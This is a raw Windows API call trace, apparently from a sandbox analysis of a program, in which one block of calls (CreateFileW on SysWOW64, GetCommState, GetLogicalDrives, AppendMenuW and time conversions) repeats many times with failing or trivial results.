	[0050.455] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.455] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.455] SetErrorMode (uMode=0x1) returned 0x1
	[0050.455] GetLogicalDrives () returned 0x4
	[0050.455] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.455] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.455] AppendMenuW (hMenu=0x0, uFlags=0x807a22e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.455] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.455] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.455] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.455] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.455] SetErrorMode (uMode=0x1) returned 0x1
	[0050.455] GetLogicalDrives () returned 0x4
	[0050.455] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.455] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.455] AppendMenuW (hMenu=0x0, uFlags=0x807b249c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.456] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.456] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.456] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.456] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.456] SetErrorMode (uMode=0x1) returned 0x1
	[0050.456] GetLogicalDrives () returned 0x4
	[0050.456] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.456] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.456] AppendMenuW (hMenu=0x0, uFlags=0x807bff28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.456] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.456] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.456] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.456] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.456] SetErrorMode (uMode=0x1) returned 0x1
	[0050.456] GetLogicalDrives () returned 0x4
	[0050.456] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.456] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.457] AppendMenuW (hMenu=0x0, uFlags=0x807d00dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.457] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.457] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.457] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.457] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.457] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.457] SetErrorMode (uMode=0x1) returned 0x1
	[0050.457] GetLogicalDrives () returned 0x4
	[0050.457] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.457] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.457] AppendMenuW (hMenu=0x0, uFlags=0x807ddb68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.457] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.457] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.457] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.457] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.457] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.457] SetErrorMode (uMode=0x1) returned 0x1
	[0050.457] GetLogicalDrives () returned 0x4
	[0050.457] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.457] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.458] AppendMenuW (hMenu=0x0, uFlags=0x807edd1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.458] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.458] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.458] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.458] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.458] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.458] SetErrorMode (uMode=0x1) returned 0x1
	[0050.458] GetLogicalDrives () returned 0x4
	[0050.458] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.458] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.458] AppendMenuW (hMenu=0x0, uFlags=0x807fb7a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.458] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.458] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.458] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.458] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.458] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.458] SetErrorMode (uMode=0x1) returned 0x1
	[0050.458] GetLogicalDrives () returned 0x4
	[0050.459] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.459] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.459] AppendMenuW (hMenu=0x0, uFlags=0x807fb95c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.459] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.459] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.459] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.459] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.459] SetErrorMode (uMode=0x1) returned 0x1
	[0050.459] GetLogicalDrives () returned 0x4
	[0050.459] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.459] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.459] AppendMenuW (hMenu=0x0, uFlags=0x808093e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.459] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.459] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.459] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.459] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.460] SetErrorMode (uMode=0x1) returned 0x1
	[0050.460] GetLogicalDrives () returned 0x4
	[0050.460] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.460] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.460] AppendMenuW (hMenu=0x0, uFlags=0x8081959c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.460] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.460] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.460] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.460] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.460] SetErrorMode (uMode=0x1) returned 0x1
	[0050.460] GetLogicalDrives () returned 0x4
	[0050.460] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.460] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.460] AppendMenuW (hMenu=0x0, uFlags=0x80827028, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.460] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.460] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.460] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.461] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.461] SetErrorMode (uMode=0x1) returned 0x1
	[0050.461] GetLogicalDrives () returned 0x4
	[0050.461] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.461] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.461] AppendMenuW (hMenu=0x0, uFlags=0x808371dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.461] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.461] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.461] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.461] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.461] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.461] SetErrorMode (uMode=0x1) returned 0x1
	[0050.461] GetLogicalDrives () returned 0x4
	[0050.461] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.461] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.461] AppendMenuW (hMenu=0x0, uFlags=0x80844c68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.461] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.461] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.462] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.462] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.462] SetErrorMode (uMode=0x1) returned 0x1
	[0050.462] GetLogicalDrives () returned 0x4
	[0050.462] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.474] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.474] AppendMenuW (hMenu=0x0, uFlags=0x80854e1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.474] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.474] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.474] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.474] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.474] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.474] SetErrorMode (uMode=0x1) returned 0x1
	[0050.474] GetLogicalDrives () returned 0x4
	[0050.474] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.475] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.475] AppendMenuW (hMenu=0x0, uFlags=0x808628a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.476] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.476] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.476] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.476] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.476] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.476] SetErrorMode (uMode=0x1) returned 0x1
	[0050.476] GetLogicalDrives () returned 0x4
	[0050.476] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.476] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.476] AppendMenuW (hMenu=0x0, uFlags=0x80872a5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.476] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.476] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.476] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.476] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.476] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.476] SetErrorMode (uMode=0x1) returned 0x1
	[0050.476] GetLogicalDrives () returned 0x4
	[0050.476] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.477] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.477] AppendMenuW (hMenu=0x0, uFlags=0x808804e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.477] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.477] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.477] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.477] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.477] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.477] SetErrorMode (uMode=0x1) returned 0x1
	[0050.477] GetLogicalDrives () returned 0x4
	[0050.477] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.477] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.477] AppendMenuW (hMenu=0x0, uFlags=0x8089069c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.477] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.477] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.477] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.477] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.477] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.478] SetErrorMode (uMode=0x1) returned 0x1
	[0050.478] GetLogicalDrives () returned 0x4
	[0050.478] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.478] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.478] AppendMenuW (hMenu=0x0, uFlags=0x8089e128, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.478] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.478] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.478] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.478] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.478] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.478] SetErrorMode (uMode=0x1) returned 0x1
	[0050.478] GetLogicalDrives () returned 0x4
	[0050.478] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.478] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.478] AppendMenuW (hMenu=0x0, uFlags=0x808ae2dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.478] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.478] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.478] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.479] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.479] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
